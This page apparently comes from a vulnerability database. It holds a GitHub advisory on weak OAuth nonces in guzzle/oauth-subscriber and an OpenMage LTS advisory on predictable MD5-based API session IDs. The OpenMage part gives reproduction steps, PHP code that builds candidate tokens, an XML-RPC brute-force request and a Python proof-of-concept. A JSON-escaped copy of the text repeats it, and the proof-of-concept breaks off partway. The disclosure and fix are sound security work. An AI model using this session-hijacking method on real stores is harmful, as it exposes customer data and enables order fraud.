GHSA-237R-R8M4-4Q88
Vulnerability from github – Published: 2025-01-06 19:23 – Updated: 2025-01-06 22:15Impact
Nonce generation does not use sufficient entropy nor a cryptographically secure pseudorandom source (https://github.com/guzzle/oauth-subscriber/blob/0.8.0/src/Oauth1.php#L192). This can leave servers vulnerable to replay attacks when TLS is not used.
Patches
Upgrade to version 0.8.1 or higher.
Workarounds
No.

Vulnerability from github – Published: 2026-05-05 19:35 – Updated: 2026-05-15 23:48Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)
Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method
Summary
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
All inputs to the MD5 hash are time-derived and non-secure:
| Input | Value | Predictability |
|---|---|---|
time() |
Unix timestamp (seconds) | Fully predictable |
uniqid('', true) prefix |
sprintf('%08x%05x', $sec, $usec/10) |
Highly predictable via network timing |
uniqid('', true) suffix |
php_combined_lcg() decimal float |
Process-state dependent (getpid() ^ time()) |
$sessionName |
null (empty) — called without arg |
Constant |
Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.
Technical Analysis
Code Path
POST /api/xmlrpc/ → login(username, apiKey)
→ Mage_Api_Model_Session::login()
→ $session->init('api', 'api')
→ Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
# $sessionName is NOT forwarded to start()
→ Mage_Api_Model_Session::start() ← NO $sessionName argument
# $sessionName = null inside start()
$this->_currentSessId = md5(time() . uniqid('', true) . null)
Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).
Live Evidence
Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):
Sample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349 (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88 (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa (usec ≈ 600118)
The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.
Steps to Reproduce (Online Brute-Force Scenario)
Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.
Step 1 – Record Login Timestamp
An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.
Step 2 – Generate Candidate Pool
The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).
$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants
Step 3 – API Brute-Force (Session Hijack)
Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.
POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
<methodName>[magento.info](http://magento.info/)</methodName>
<params>
<param><value><string>CANDIDATE_SESSION_ID</string></value></param>
</params>
</methodCall>
A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.
Impact
Technical Impact
Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:
- Full product catalog read/write (catalog_product.*)
- Customer data read (customer.list, customer.info)
- Order manipulation (sales_order.*)
Inventory control (cataloginventory_stock_item.*)
Business Impact
- Data Exfiltration: Read all customer PII, order history, and payment methods.
- Order Fraud: Create or cancel orders, change shipping addresses.
- Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.
Affected API Protocols
The same vulnerable Session.php generation logic is shared across all legacy API surfaces:
- XML-RPC: /api/xmlrpc/
- SOAP v1: /api/soap/
- SOAP v2: /api/v2_soap/
- REST (legacy): /api/rest/
Recommended Fix
Replace the time-derived token with a cryptographically secure random value:
// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);
// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output
random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.
I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment
I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.\n\n\u003cimg width=\"772\" height=\"506\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de\" /\u003e\n\n## Steps to Reproduce (Online Brute-Force Scenario)\nBecause validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.\n### Step 1 \u2013 Record Login Timestamp\nAn attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.\n### Step 2 \u2013 Generate Candidate Pool\nThe attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).\n```\n$t = $observed_sec;\n$usec_estimate = 500000; // Derived from latency\n$uid = sprintf(\u0027%08x%05x\u0027, $t, intval($usec_estimate / 10));\n$candidate = md5($t . $uid); // + LCG variants\n```\n### Step 3 \u2013 API Brute-Force (Session Hijack)\nBecause the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.\n\n```\nPOST /api/xmlrpc/\n\u003c?xml version=\"1.0\"?\u003e\n\u003cmethodCall\u003e\n \u003cmethodName\u003e[magento.info](http://magento.info/)\u003c/methodName\u003e\n \u003cparams\u003e\n \u003cparam\u003e\u003cvalue\u003e\u003cstring\u003eCANDIDATE_SESSION_ID\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\n \u003c/params\u003e\n\u003c/methodCall\u003e\n```\n\nA non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.\n\n\u003cimg width=\"1039\" height=\"374\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849\" /\u003e\n\n## Impact\n### Technical Impact\nSuccessful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:\n- Full product catalog read/write (`catalog_product.*`)\n- Customer data read (`customer.list`, `customer.info`)\n- Order manipulation (`sales_order.*`)\nInventory control (`cataloginventory_stock_item.*`)\n### Business Impact\n\n- **Data Exfiltration**: Read all customer PII, order history, and payment methods.\n- **Order Fraud**: Create or cancel orders, change shipping addresses.\n- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.\n\n### Affected API Protocols\n\nThe same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:\n- XML-RPC: `/api/xmlrpc/`\n- SOAP v1: `/api/soap/`\n- SOAP v2: `/api/v2_soap/`\n- REST (legacy): `/api/rest/`\n\n### Recommended Fix\n\nReplace the time-derived token with a cryptographically secure random value:\n\n```\n// app/code/core/Mage/Api/Model/Session.php : start()\n// BEFORE (vulnerable):\n$this-\u003e_currentSessId = md5(time() . uniqid(\u0027\u0027, true) . $sessionName);\n\n// AFTER (secure):\n$this-\u003e_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output\n```\n`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.\n\nI have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment\n\n\nI have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):\n\n```py\n#!/usr/bin/env python3\nimport requests, re, sys, hashlib, random\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport urllib3; urllib3.disable_warnings()\n\nif len(sys.argv) \u003c 4:\n sys.exit(f\"Usage: {sys.argv[0]} \u003curl\u003e \u003cuser\u003e \u003cpass\u003e [threads]\")\n\nurl, usr, pwd = sys.argv[1:4]\nth = int(sys.argv[4]) if len(sys.argv) \u003e 4 else 50\nhdrs = {\"Content-Type\": \"text/xml\"}\nreq = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)\n\nprint(f\"[*] Simulating victim login for {usr}...\")\nres = req(f\u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003elogin\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{usr}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{pwd}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e\u0027)\n\nif not (m := re.search(r\u0027\u003cstring\u003e([a-f0-9]{32})\u003c/string\u003e\u0027, res.text)):\n sys.exit(\"[-] Login failed.
